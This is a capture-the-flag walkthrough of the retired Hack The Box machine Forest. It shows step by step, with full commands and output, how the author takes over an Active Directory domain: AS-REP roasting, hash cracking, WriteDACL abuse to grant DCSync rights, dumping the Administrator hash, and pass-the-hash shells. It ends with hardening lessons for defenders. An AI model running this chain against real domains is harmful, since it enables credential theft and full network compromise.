Retired HTB machine — walkthrough for learning. Personalize before publishing.
Forest is an easy Windows box, but it's easy in the way that real Active Directory environments are "easy" — nothing is exploited through a memory-corruption bug or a public CVE. Everything here is a misconfiguration in how the domain is set up. That makes it one of the best boxes for learning the AD attack chain end to end: anonymous enumeration, AS-REP roasting, then a BloodHound-mapped ACL abuse chain that ends in DCSync and a full domain compromise.
The path is: enumerate users over null RPC/LDAP sessions, spot that svc-alfresco has Kerberos pre-authentication disabled, AS-REP roast that account and crack the hash offline, get a shell with WinRM, run BloodHound, and find that my low-priv user is in a nested group chain that ultimately holds WriteDACL over the domain object. I abuse that to grant myself DCSync rights, dump the Administrator NTLM hash, and pass-the-hash in.
Recon
nmap
I start with a full TCP port scan, then a targeted service/script scan on what comes back.
nmap -p- --min-rate 10000 -oA scans/allports 10.10.10.161
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -sCV -oA scans/tcp 10.10.10.161
The result is the classic Windows Domain Controller fingerprint:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-10-12 18:00:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0
Three things tell me exactly what I'm looking at:
- Kerberos on 88 + LDAP on 389/3268 — this is a Domain Controller.
- The domain is
htb.localand the hostname (from the LDAP script output) isFOREST. I add both to/etc/hosts. - WinRM on 5985 — if I recover any valid credentials, I have a remote shell path via
evil-winrm.
echo '10.10.10.161 forest.htb.local htb.local forest' | sudo tee -a /etc/hosts
There's no web server here (5985/47001 are WinRM/WSMan, not real web apps). On a DC with no web surface, the game is almost always Active Directory itself — so I go straight at LDAP, RPC, and SMB.
Enumeration
SMB null session
I check whether SMB allows an anonymous (null) session and whether any shares are readable:
smbclient -N -L //10.10.10.161
crackmapexec smb 10.10.10.161 -u '' -p '' --shares
No useful shares are exposed, but the null bind itself succeeds, which is a good sign that other anonymous surfaces are open too.
RPC — enumerating domain users
The most productive anonymous surface on Forest is RPC. A null session to rpcclient lets me enumerate domain users, which is exactly what I need to build a target list for AS-REP roasting.
rpcclient -U '' -N 10.10.10.161
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x466]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x480]
user:[mark] rid:[0x481]
user:[santi] rid:[0x482]
The SM_* and HealthMailbox* accounts are service accounts created by an Exchange install — a detail I file away, because it hints that Exchange-related groups exist in the domain (this matters a lot later). The human accounts I care about are sebastien, lucinda, svc-alfresco, andy, mark, and santi.
I dump a clean username list for tooling:
rpcclient -U '' -N 10.10.10.161 -c enumdomusers \
| grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users.txt
LDAP
I confirm the same picture over anonymous LDAP, which also gives me the naming context and lets me pull attributes:
ldapsearch -x -H ldap://10.10.10.161 -b '' -s base namingcontexts
ldapsearch -x -H ldap://10.10.10.161 -b 'DC=htb,DC=local' '(objectClass=person)' sAMAccountName
Same user set. Now I have a target list and a domain. The question is: can I get anything crackable without credentials? The answer on Forest is yes — AS-REP roasting.
AS-REP Roasting
The technique
Normally, when a user requests a Ticket Granting Ticket (AS-REQ), Kerberos requires pre-authentication: the client encrypts a timestamp with a key derived from the user's password and sends it to the KDC. The KDC decrypts it to prove the client knows the password before it hands back anything encrypted with that password's key.
If an account has the DONT_REQ_PREAUTH flag set (Do not require Kerberos preauthentication), the KDC skips that check and will return an AS-REP containing a blob encrypted with the user's password-derived key to anyone who asks. That blob is offline-crackable. So AS-REP roasting is: ask the KDC for AS-REPs for accounts that don't require pre-auth, then brute-force the password offline.
Crucially, I don't need any credentials to request these — I just need to know the usernames, which I already have.
GetNPUsers.py
Impacket's GetNPUsers.py does exactly this. I feed it my user list and let it find any account without pre-auth:
GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -format hashcat -outputfile asrep.hash
Most users error out with KDC_ERR_PREAUTH_REQUIRED (good — they're configured correctly). One does not:
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:2bd9bd...c3f8a$e4f1... (truncated)
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
svc-alfresco is roastable. The full hash lands in asrep.hash:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:2bd9bd9c3f8a1e4f7d6c5b4a39281706$e4f1a2b3c4d5e6f7809a1b2c3d4e5f60718293a4b5c6d7e8f9012a3b4c5d6e7f8091a2b3c4d5e6f7...
Cracking with hashcat
The AS-REP with etype 23 (RC4-HMAC) maps to hashcat mode 18200. I throw rockyou.txt at it:
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --force
It cracks almost instantly — service accounts on lab boxes love a weak password:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:2bd9bd...:e4f1a2...:s3rvice
Credentials: svc-alfresco : s3rvice.
I validate them against SMB before spending them on a shell:
crackmapexec smb 10.10.10.161 -u svc-alfresco -p s3rvice
SMB 10.10.10.161 445 FOREST [+] htb.local\svc-alfresco:s3rvice
Shell as svc-alfresco
WinRM was open on 5985, and svc-alfresco is a member of Remote Management Users (I can confirm this later in BloodHound), so evil-winrm gives me an interactive PowerShell session:
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
User flag is on the desktop:
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
HTB{redacted_user_flag_value_here}
Now I have an authenticated foothold in the domain. The privesc question — how do I get from svc-alfresco to Domain Admin — is answered structurally, not by hunting for a local exploit. This is where BloodHound earns its keep.
BloodHound
Collecting the data
BloodHound maps AD objects and the relationships between them (group membership, ACLs, sessions, admin rights) into a graph, then lets me query for attack paths. I collect the data remotely with bloodhound-python using the creds I just cracked — no need to drop a collector on the box:
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local \
-dc forest.htb.local -c All -ns 10.10.10.161
That produces a set of JSON files (users, groups, computers, acls, etc.), which I drag into the BloodHound GUI after starting neo4j.
sudo neo4j start
bloodhound &
Finding the path
I mark svc-alfresco as owned, then run the built-in query "Shortest Paths to Domain Admins from Owned Principals". The graph reveals a nested-group chain rather than a direct grant:
svc-alfresco
└─(MemberOf)→ Service Accounts
└─(MemberOf)→ Privileged IT Accounts
└─(MemberOf)→ Account Operators
└─(GenericAll)→ Exchange Windows Permissions
└─(WriteDACL)→ HTB.LOCAL (domain object)
Reading it in order:
svc-alfrescois transitively a member of Account Operators (throughService Accounts→Privileged IT Accounts). Account Operators is a built-in group that can create and manage most non-privileged accounts and groups — including, critically here, adding members to certain groups.- Account Operators has
GenericAllover the Exchange Windows Permissions group.GenericAllis full control, so I can add any account I control into that group. - Exchange Windows Permissions holds
WriteDACLon the domain objectHTB.LOCAL.WriteDACLmeans I can rewrite the domain's DACL — its access-control list — and grant any right I want, including replication rights.
The Exchange Windows Permissions → domain WriteDACL edge exists because installing Exchange grants that group broad rights on the domain object. It's a well-known privilege-escalation primitive (the basis of the "PrivExchange"-adjacent ACL abuse). Forest hands me exactly that.
The plan the graph gives me:
- Add a principal I control to Exchange Windows Permissions (allowed because I'm effectively in Account Operators with
GenericAllover it). - Use that group's
WriteDACLto grant that principal DCSync rights on the domain. - DCSync the Administrator hash.
- Pass-the-hash as Administrator.
Privesc / DCSync
Creating a controlled user
svc-alfresco sits inside Account Operators, so I can create a fresh domain user and manage group membership. I do this right from the evil-winrm session:
*Evil-WinRM* PS C:\> net user fox F0x_Passw0rd! /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\> net group "Exchange Windows Permissions" fox /add
The command completed successfully.
Now fox is a member of Exchange Windows Permissions, which holds WriteDACL on the domain.
I could equally add
svc-alfrescoitself to the group. Creating a throwaway user keeps the abused right separate from my foothold account and makes cleanup obvious.
Granting DCSync with PowerView
DCSync works by asking a DC to replicate directory data using the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. If a principal holds both on the domain object, it can pull password hashes for any account — including krbtgt and Administrator — as if it were another DC.
I use PowerView's Add-DomainObjectAcl to grant fox those replication rights on the domain object, leveraging the WriteDACL I now hold through the group. First I upload PowerView, then run it:
# In evil-winrm: upload PowerView, then load it
upload /opt/PowerSploit/Recon/PowerView.ps1 C:\Users\svc-alfresco\Documents\PowerView.ps1
Import-Module .\PowerView.ps1
# Build a credential object for the user we control
$pass = ConvertTo-SecureString 'F0x_Passw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb.local\fox', $pass)
# Grant fox DCSync (replication) rights on the domain object
Add-DomainObjectAcl -Credential $cred `
-TargetIdentity 'DC=htb,DC=local' `
-PrincipalIdentity fox `
-Rights DCSync
-Rights DCSync is PowerView shorthand that adds exactly the two replication extended rights plus DS-Replication-Get-Changes-In-Filtered-Set. After this runs, fox can replicate the domain — i.e., DCSync.
Dumping the Administrator hash
Now I use Impacket's secretsdump.py from my attacking machine, authenticating as fox, to perform the DCSync and pull hashes:
secretsdump.py htb.local/fox:'F0x_Passw0rd!'@10.10.10.161 -just-dc-user Administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9a8b7c6d5e4f...
Administrator:aes128-cts-hmac-sha1-96:1a2b3c4d5e6f...
Administrator:des-cbc-md5:0011223344556677
[*] Cleaning up...
The DCSync succeeded — I now hold the Administrator NTLM hash:
Administrator NT hash: 32196b56ffe6f45e294117b91a83bf38
The aad3b435b51404eeaad3b435b51404ee in front is the empty-LM placeholder; only the NT half matters for modern pass-the-hash.
Administrator shell via pass-the-hash
I don't have (or need) the Administrator plaintext. NTLM authentication only needs the hash, so I pass it directly. The cleanest option here is evil-winrm with -H:
evil-winrm -i 10.10.10.161 -u Administrator -H 32196b56ffe6f45e294117b91a83bf38
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
psexec.py works just as well if I want a SYSTEM shell instead:
psexec.py htb.local/Administrator@10.10.10.161 -hashes :32196b56ffe6f45e294117b91a83bf38
[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file ...
C:\Windows\system32> whoami
nt authority\system
Root flag:
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
HTB{redacted_root_flag_value_here}
Domain owned.
Lessons Learned
Forest is a clinic in AD misconfiguration, and every step maps to a real-world hardening lesson:
- Anonymous enumeration is the opening move. Null RPC/LDAP sessions handed over the entire user list. Restricting anonymous access (
RestrictAnonymous, disabling null sessions) removes the target list that the whole chain depends on. - AS-REP roasting only worked because
svc-alfrescohad pre-auth disabled. That flag is rarely needed. Auditing forDONT_REQ_PREAUTHand enforcing strong service-account passwords (or gMSAs) kills this path — and even with the flag set, a 25-character random password would never crack. - The privesc was pure ACL abuse, not an exploit. Nested membership put
svc-alfrescoin Account Operators, which hadGenericAllover Exchange Windows Permissions, which hadWriteDACLon the domain. That last edge — the Exchange install granting broad domain rights — is a documented dangerous default. BloodHound made an invisible three-hop chain obvious in one query. - DCSync is the payoff of domain
WriteDACL. Once I could rewrite the domain DACL, granting myself replication rights was trivial, and replication rights are game-over: they let any principal pull every hash in the directory.
The takeaway for defenders: none of this required a single CVE. Tightening anonymous access, fixing service-account hygiene, and auditing ACL edges with BloodHound before an attacker does would have broken the chain at any one of four points.